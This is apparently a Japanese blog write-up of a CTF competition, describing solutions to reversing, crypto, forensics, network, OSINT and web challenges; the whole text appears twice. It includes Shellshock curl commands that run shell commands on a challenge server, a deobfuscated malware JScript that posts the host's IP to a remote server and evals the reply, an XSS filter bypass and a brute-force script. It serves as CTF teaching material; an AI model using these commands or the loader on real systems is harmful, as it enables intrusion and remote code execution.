rogyCTF部のymduuです。
昨年11月半ばから開催されていた場阿忍愚CTFにymduuとして出ていました。
結果は40位でした。
大分前に解いた問題が多いので忘れていることも多いのですがwrite upを書いていきます。
許してない。
・一萬回
ELFが降ってくる。gdbでdisas mainして逆アセンブルを読んだ。
どう見てもフラグを出しそうな部分(うろ覚え)があったのでそこに処理を飛ばしたら旗が出た。
・DxLibイカサマ
ゲーム勢なので一番最初に手を付けた。
うさみみハリケーンでメモリを書き換える。
盤面情報を書き換えることができ、初期盤面で相手の色を無くすと勝利になる(最悪)ことに気づいたので、あとは勝利回数の場所を見つけて適当に大きい数にしたらフラグが出た。
first bloodでした。
・image level 5
確かファイル名が数字のmd5になっていたはず。
数字順に並べるとフラグになった。
・Ninja Crypto
忍者 暗号で検索検索。簡単な換字式暗号。
解読すると「やまといえば」。
僕が投げたときは「かわ」で通らなくてめっちゃ悩んだ。「川」で通った(ブチギレ)
・Decrypt RSA
RSA暗号の公開鍵は以下のようなコマンドで見ることができる。
openssl rsa -pubin -in public-key.pem -text -noout
Public-Key: (640 bit)
Modulus:
00:ae:5b:b4:f2:66:00:32:59:cf:9a:6f:52:1c:3c:
03:41:01:76:cf:16:df:53:95:34:76:ea:e3:b2:1e:
de:6c:3c:7b:03:bd:ca:20:b3:1c:00:67:ff:a7:97:
e4:e9:10:59:78:73:ee:f1:13:a6:0f:ec:cd:95:de:
b5:b2:bf:10:06:6b:e2:22:4a:ce:29:d5:32:dc:0b:
5a:74:d2:d0:06:f1
Exponent: 65537 (0x10001)
これをpythonに突っ込んで10進数に直すと、3107418240490043721350750035888567930037346022842727545720161948823206440518081504556346829671723286782437916272838033415471073108501919548529007337724822783525742386454014691736602477652346609。
ちなみにこれはRSA-640なのでrsa-640とかでググると、まさにこの数が素因数分解されている記事が発見できる。
http://mathworld.wolfram.com/news/2005-11-08/rsa-640/
素因数分解さえできてしまえばもちろんDecryptできる。
・Doubtful files
Alternate Data Stream on NTFS!}
zonid情報の確認
以下のURLを見ながら頑張って代替データ・ストリーム情報を見た。
http://www.atmarkit.co.jp/fwin2k/win2ktips/1363streams/streams.html
[ZoneTransfer]
ZoneId=4
EgU3RyZWFtIG9uIE5URlMhfQ==
って出るので、U3RyZWFtIG9uIE5URlMhfQ==をb64decodeするとData Stream on NTFS!}
が出てきて、あとはエスパー補完して(Data Stream on NTFSでググった)Alternate Data Stream on NTFS!
・情報漏洩
通信の中にPNGっぽいバイナリを発見したのでバイナリエディタを使って手で切り出した。
・Speech by google translate
なんかLinuxMintのfirefoxで聞いたら全部聞けた(カス)
ftp なのでwiresharkでftp-dataをfollow tcp streamとかで見る。
すると、明らかにbase64の激アヤシ文字列"RkxBR3tYVEluWDY5bnF2RmFvRXd3TmJ9Cg=="を発見できるので、それをb64decodeすればフラグが出た。
・ベーシック
Basic認証では、ユーザ名とパスワードの組みをコロン ":" でつなぎ、Base64でエンコードして送信する。このため、盗聴や改竄が簡単であるという欠点を持つが、ほぼ全てのWebサーバおよびブラウザで対応しているため、広く使われている。(wikipediaより)
認証に失敗している部分は無視して認証に成功している部分を見てそれをb64decodeすると、http://burning.nsc.gr.jpみたいな組み合わせが出てくる。これはユーザ名がhttpでパスワードが//burning.nsc.gr.jpであるということ。そこにそのユーザ名/パスワードでアクセスして終了。
・Japanese kids are knowing
ポートスキャンをすると開いているポートが見つかるのでそこにtelnetで繋ぐ。
すると、C-D-E-F-みたいな文字列が表示される。
DTMを少しやっているのでかえるのうただとすぐに気づく。
md5(flog)がフラグ。
・Malicious Code
一番好きな問題。
pcapngファイルが降って来る。
問題サーバのipアドレス的に210.146.64.38が怪しいので、そこを見てみる。
実行するとtemp以下(うろ覚え)に謎のjsを生成するlnkをダウンロードしていることがわかるので、そのjsを見てみる。
難読化が施されているのでhttp://jsbeautifier.org/でunpackすると、
以下のコードが出てくる
function ip() {
var w = GetObject("winmgmts:{impersonationLevel=impersonate}");
e = new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
WScript.Echo(e.item().IPAddress(0));
return e.item().IPAddress(0)
}
function p(u, d) {
var r = new ActiveXObject("Msxml2.ServerXMLHTTP");
r.open("POST", u, false);
r.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
r.setOption(2, 13056);
r.send(d);
WScript.Echo(r.responseText);
return r.responseText
}
var u = "https://210.146.64.38:60444/p.php";
var d = "myaddr=" + "10.0.2.222"//ip();
eval(p(u, d));
どうやらサーバーにipアドレスを送るjavascriptっぽいので適当にresponseTextを表示させてみるも旗が出ない。
自分のipアドレスじゃなくて大名のipアドレス(問題文参照)を送りつけると旗が出た。(ここだけちょっとエスパー)
・KDL
よく覚えてないけどwebアーカイブを見た気がする。
・Akiko-chan
google画像検索に突っ込む。説明にwordpressとか入れると答えが出る。
・タナカハック
www.yamatosecurity.comにあるらしいので、ファイルを見る。
pdfに目を付けると、pdfの一つに執筆者としてtaなんとか123の文字列を見つけることができる。
ヒントが出ていない時にも頑張っていたので田中ザック氏に詳しくなった。ダークダブステップ……
・search_duplicate_character_string
最長重複文字列問題。プロコン頻出っぽい雰囲気がめっちゃ出ているのでググった。
あった。:http://maehrm.hatenablog.com/entry/2015/03/05/090000
ので、そこからコードをパクってフラグを得た(最悪)
・JavaScript Puzzle
window["eval"]["call"]`$
{
[ (0O000101), (0b1001100), (101), 0x52, 0x54 ] ["map"](x => String["fromCodePoint"](x))["join"]("")["toLowerCase"]() + "(1)"
}
`;
上記のようになった。(0O000101), (0b1001100), (101)がアスキーコードなんだろうなあと思ったのでそこだけ確定し、あとはそれっぽく入れて何度か試したら成功した。
・Count Number Of Flag's SubString!
その名の通りフラグの部分文字列を入れるとそれが何個入っているか返してくれるwebサービスが与えられる。
一文字ずつ入れて試すとフラグに一回も登場しない文字があることがわかるので、それだけ除いて一文字ずつブルートフォースした。
コードは以下。beautifulsoupを使うときに参考サイトからコピペしたコードがあるので完全オリジナルではないです。念のため。
# -*- coding: utf-8 -*-
import urllib
import BeautifulSoup
from itertools import permutations
mot=['{','}','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','_']
jun=permutations(mot,2)
def post(url,st):
# パラメタのハッシュを作成(pythonでは辞書と呼ぶらしい)
# ※キーをnameとして、値にvalueとしたいものをセット
postdata = {}
postdata['str'] = st
postdata['count'] ='count'
params = urllib.urlencode(postdata)
up = urllib.urlopen(url, params)
return up.read()
def get(url,st):
# パラメタのハッシュを作成(pythonでは辞書と呼ぶらしい)
# ※キーをnameとして、値にvalueとしたいものをセット
postdata = {}
postdata['str'] = st
postdata['count'] ='count'
addstr='?str='+ st + '&count=count'
params = urllib.urlencode(postdata)
up = urllib.urlopen(url+addstr)
#print url+addstr
return up.read()
def getNavigableStrings(soup):
if isinstance(soup, BeautifulSoup.NavigableString):
if type(soup) not in (BeautifulSoup.Comment,
BeautifulSoup.Declaration) and soup.strip():
yield soup
elif soup.name not in ('script', 'style'):
for c in soup.contents:
for g in getNavigableStrings(c):
yield g
#soup = BeautifulSoup.BeautifulSoup(html)
dic={}
url="http://210.146.64.36:30840/count_number_of_flag_substring/"#722-999
ans="flag={"
use=['a','d','e','f','g','h','i','j','k','l','n','o','r','s','u','x','_']
for k in range(0,388):
for j in use:
htm=get(url,ans+j)
soup=BeautifulSoup.BeautifulSoup(htm)
text=':'.join(getNavigableStrings(soup))
s=text.split(":")
res=s[1].split()
if int(res[4])>0:
ans+=j
print ans
break
・解凍?
フラグがいろんな圧縮形式で何重にも圧縮されているので、たまねぎの皮を延々剥くみたいな作業をする。
はじめは手作業でやっていたが一向に終わらないのでpythonでスクリプトを書いた。
fileコマンドでファイル形式を判断し、適切なコマンドで解凍することを繰り返すだけ。
(ここにコードを貼ろうと思ったが仮想Ubuntuが爆発炎上したときに一緒に消滅してしまった)
・Network Tools
ヒントのbashのバージョン名を見ると、どうやらshellshockの脆弱性がありそうなのでshellshockを試みる。
ここ:http://techblog.clara.jp/2014/09/bash-vulnerability-vol2-verification/
を見ながら頑張ると、
これ
curl -F "cmd=arp" -F "option=" -A "() { :;}; /bin/ls -a " http://210.146.64.37:60888/exec
でファイル名一覧がとれ、flag.txtがあることがわかったので、
curl -F "cmd=arp" -F "option=" -A "() { :;}; /bin/cat flag.txt " http://210.146.64.37:60888/exec
で終了。
・箱庭XSS2
scriptとalertが削除される。scscriptript(い つ も の)で回避。
詰将棋ソルバに流して終。
2だけ4と7が逆転していた気がする(最悪)
昨年11月半ばから開催されていた場阿忍愚CTFにymduuとして出ていました。
結果は40位でした。
大分前に解いた問題が多いので忘れていることも多いのですがwrite upを書いていきます。
・芸術
許してない。
二進術
・一萬回
ELFが降ってくる。gdbでdisas mainして逆アセンブルを読んだ。
どう見てもフラグを出しそうな部分(うろ覚え)があったのでそこに処理を飛ばしたら旗が出た。
・DxLibイカサマ
ゲーム勢なので一番最初に手を付けた。
うさみみハリケーンでメモリを書き換える。
盤面情報を書き換えることができ、初期盤面で相手の色を無くすと勝利になる(最悪)ことに気づいたので、あとは勝利回数の場所を見つけて適当に大きい数にしたらフラグが出た。
first bloodでした。
解読術
・image level 5
確かファイル名が数字のmd5になっていたはず。
数字順に並べるとフラグになった。
・Ninja Crypto
忍者 暗号で検索検索。簡単な換字式暗号。
解読すると「やまといえば」。
僕が投げたときは「かわ」で通らなくてめっちゃ悩んだ。「川」で通った(ブチギレ)
・Decrypt RSA
RSA暗号の公開鍵は以下のようなコマンドで見ることができる。
openssl rsa -pubin -in public-key.pem -text -noout
Public-Key: (640 bit)
Modulus:
00:ae:5b:b4:f2:66:00:32:59:cf:9a:6f:52:1c:3c:
03:41:01:76:cf:16:df:53:95:34:76:ea:e3:b2:1e:
de:6c:3c:7b:03:bd:ca:20:b3:1c:00:67:ff:a7:97:
e4:e9:10:59:78:73:ee:f1:13:a6:0f:ec:cd:95:de:
b5:b2:bf:10:06:6b:e2:22:4a:ce:29:d5:32:dc:0b:
5a:74:d2:d0:06:f1
Exponent: 65537 (0x10001)
これをpythonに突っ込んで10進数に直すと、3107418240490043721350750035888567930037346022842727545720161948823206440518081504556346829671723286782437916272838033415471073108501919548529007337724822783525742386454014691736602477652346609。
ちなみにこれはRSA-640なのでrsa-640とかでググると、まさにこの数が素因数分解されている記事が発見できる。
http://mathworld.wolfram.com/news/2005-11-08/rsa-640/
素因数分解さえできてしまえばもちろんDecryptできる。
解析術
・Doubtful files
Alternate Data Stream on NTFS!}
zonid情報の確認
以下のURLを見ながら頑張って代替データ・ストリーム情報を見た。
http://www.atmarkit.co.jp/fwin2k/win2ktips/1363streams/streams.html
[ZoneTransfer]
ZoneId=4
EgU3RyZWFtIG9uIE5URlMhfQ==
って出るので、U3RyZWFtIG9uIE5URlMhfQ==をb64decodeするとData Stream on NTFS!}
が出てきて、あとはエスパー補完して(Data Stream on NTFSでググった)Alternate Data Stream on NTFS!
・情報漏洩
通信の中にPNGっぽいバイナリを発見したのでバイナリエディタを使って手で切り出した。
・Speech by google translate
なんかLinuxMintのfirefoxで聞いたら全部聞けた(カス)
電網術
・ftp is not secureftp なのでwiresharkでftp-dataをfollow tcp streamとかで見る。
すると、明らかにbase64の激アヤシ文字列"RkxBR3tYVEluWDY5bnF2RmFvRXd3TmJ9Cg=="を発見できるので、それをb64decodeすればフラグが出た。
・ベーシック
Basic認証では、ユーザ名とパスワードの組みをコロン ":" でつなぎ、Base64でエンコードして送信する。このため、盗聴や改竄が簡単であるという欠点を持つが、ほぼ全てのWebサーバおよびブラウザで対応しているため、広く使われている。(wikipediaより)
認証に失敗している部分は無視して認証に成功している部分を見てそれをb64decodeすると、http://burning.nsc.gr.jpみたいな組み合わせが出てくる。これはユーザ名がhttpでパスワードが//burning.nsc.gr.jpであるということ。そこにそのユーザ名/パスワードでアクセスして終了。
・Japanese kids are knowing
ポートスキャンをすると開いているポートが見つかるのでそこにtelnetで繋ぐ。
すると、C-D-E-F-みたいな文字列が表示される。
DTMを少しやっているのでかえるのうただとすぐに気づく。
md5(flog)がフラグ。
・Malicious Code
一番好きな問題。
pcapngファイルが降って来る。
問題サーバのipアドレス的に210.146.64.38が怪しいので、そこを見てみる。
実行するとtemp以下(うろ覚え)に謎のjsを生成するlnkをダウンロードしていることがわかるので、そのjsを見てみる。
難読化が施されているのでhttp://jsbeautifier.org/でunpackすると、
以下のコードが出てくる
function ip() {
var w = GetObject("winmgmts:{impersonationLevel=impersonate}");
e = new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
WScript.Echo(e.item().IPAddress(0));
return e.item().IPAddress(0)
}
function p(u, d) {
var r = new ActiveXObject("Msxml2.ServerXMLHTTP");
r.open("POST", u, false);
r.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
r.setOption(2, 13056);
r.send(d);
WScript.Echo(r.responseText);
return r.responseText
}
var u = "https://210.146.64.38:60444/p.php";
var d = "myaddr=" + "10.0.2.222"//ip();
eval(p(u, d));
どうやらサーバーにipアドレスを送るjavascriptっぽいので適当にresponseTextを表示させてみるも旗が出ない。
自分のipアドレスじゃなくて大名のipアドレス(問題文参照)を送りつけると旗が出た。(ここだけちょっとエスパー)
諜報術
・KDL
よく覚えてないけどwebアーカイブを見た気がする。
・Akiko-chan
google画像検索に突っ込む。説明にwordpressとか入れると答えが出る。
・タナカハック
www.yamatosecurity.comにあるらしいので、ファイルを見る。
pdfに目を付けると、pdfの一つに執筆者としてtaなんとか123の文字列を見つけることができる。
ヒントが出ていない時にも頑張っていたので田中ザック氏に詳しくなった。ダークダブステップ……
記述術
・search_duplicate_character_string
最長重複文字列問題。プロコン頻出っぽい雰囲気がめっちゃ出ているのでググった。
あった。:http://maehrm.hatenablog.com/entry/2015/03/05/090000
ので、そこからコードをパクってフラグを得た(最悪)
・JavaScript Puzzle
window["eval"]["call"]`$
{
[ (0O000101), (0b1001100), (101), 0x52, 0x54 ] ["map"](x => String["fromCodePoint"](x))["join"]("")["toLowerCase"]() + "(1)"
}
`;
上記のようになった。(0O000101), (0b1001100), (101)がアスキーコードなんだろうなあと思ったのでそこだけ確定し、あとはそれっぽく入れて何度か試したら成功した。
・Count Number Of Flag's SubString!
その名の通りフラグの部分文字列を入れるとそれが何個入っているか返してくれるwebサービスが与えられる。
一文字ずつ入れて試すとフラグに一回も登場しない文字があることがわかるので、それだけ除いて一文字ずつブルートフォースした。
コードは以下。beautifulsoupを使うときに参考サイトからコピペしたコードがあるので完全オリジナルではないです。念のため。
# -*- coding: utf-8 -*-
import urllib
import BeautifulSoup
from itertools import permutations
mot=['{','}','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','_']
jun=permutations(mot,2)
def post(url,st):
# パラメタのハッシュを作成(pythonでは辞書と呼ぶらしい)
# ※キーをnameとして、値にvalueとしたいものをセット
postdata = {}
postdata['str'] = st
postdata['count'] ='count'
params = urllib.urlencode(postdata)
up = urllib.urlopen(url, params)
return up.read()
def get(url,st):
# パラメタのハッシュを作成(pythonでは辞書と呼ぶらしい)
# ※キーをnameとして、値にvalueとしたいものをセット
postdata = {}
postdata['str'] = st
postdata['count'] ='count'
addstr='?str='+ st + '&count=count'
params = urllib.urlencode(postdata)
up = urllib.urlopen(url+addstr)
#print url+addstr
return up.read()
def getNavigableStrings(soup):
if isinstance(soup, BeautifulSoup.NavigableString):
if type(soup) not in (BeautifulSoup.Comment,
BeautifulSoup.Declaration) and soup.strip():
yield soup
elif soup.name not in ('script', 'style'):
for c in soup.contents:
for g in getNavigableStrings(c):
yield g
#soup = BeautifulSoup.BeautifulSoup(html)
dic={}
url="http://210.146.64.36:30840/count_number_of_flag_substring/"#722-999
ans="flag={"
use=['a','d','e','f','g','h','i','j','k','l','n','o','r','s','u','x','_']
for k in range(0,388):
for j in use:
htm=get(url,ans+j)
soup=BeautifulSoup.BeautifulSoup(htm)
text=':'.join(getNavigableStrings(soup))
s=text.split(":")
res=s[1].split()
if int(res[4])>0:
ans+=j
print ans
break
・解凍?
フラグがいろんな圧縮形式で何重にも圧縮されているので、たまねぎの皮を延々剥くみたいな作業をする。
はじめは手作業でやっていたが一向に終わらないのでpythonでスクリプトを書いた。
fileコマンドでファイル形式を判断し、適切なコマンドで解凍することを繰り返すだけ。
(ここにコードを貼ろうと思ったが仮想Ubuntuが爆発炎上したときに一緒に消滅してしまった)
・超文書(ry
・Network Tools
ヒントのbashのバージョン名を見ると、どうやらshellshockの脆弱性がありそうなのでshellshockを試みる。
ここ:http://techblog.clara.jp/2014/09/bash-vulnerability-vol2-verification/
を見ながら頑張ると、
これ
curl -F "cmd=arp" -F "option=" -A "() { :;}; /bin/ls -a " http://210.146.64.37:60888/exec
でファイル名一覧がとれ、flag.txtがあることがわかったので、
curl -F "cmd=arp" -F "option=" -A "() { :;}; /bin/cat flag.txt " http://210.146.64.37:60888/exec
で終了。
・箱庭XSS2
scriptとalertが削除される。scscriptript(い つ も の)で回避。
兵法術
詰将棋ソルバに流して終。
2だけ4と7が逆転していた気がする(最悪)








